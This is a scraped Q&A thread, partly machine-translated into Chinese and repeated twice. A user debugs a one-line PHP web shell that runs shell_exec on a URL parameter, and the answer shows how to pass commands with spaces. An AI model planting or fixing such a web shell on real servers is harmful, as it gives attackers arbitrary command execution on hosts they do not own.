用 GET 参数反转 shell PHP
Reverse shell PHP with GET parameters
我正在使用一个简单的反向 shell php 脚本:
$res = shell_exec($_GET['cmd']));
var_dump($res);
但是使用空格的命令不起作用:
shell.php?cmd="ls" works
shell.php?cmd="ls -lh" not working
shell.php?cmd="ls%20-lh" not working
我从我的 httpd 服务器检查了 error.log,显示的错误非常尴尬:
sh: ls -lh: command not found
我想这可能是由于 $_GET 接收到的字符串的编码问题,但我不知道如何解决这个问题。
shell.php?cmd=ls -lh
当你不需要报价时,为什么还要担心报价^^
感谢@Gowire
我正在使用一个简单的反向 shell php 脚本:
$res = shell_exec($_GET['cmd']));
var_dump($res);
但是使用空格的命令不起作用:
shell.php?cmd="ls" works
shell.php?cmd="ls -lh" not working
shell.php?cmd="ls%20-lh" not working
我从我的 httpd 服务器检查了 error.log,显示的错误非常尴尬:
sh: ls -lh: command not found
我想这可能是由于 $_GET 接收到的字符串的编码问题,但我不知道如何解决这个问题。
shell.php?cmd=ls -lh
当你不需要报价时,为什么还要担心报价^^
感谢@Gowire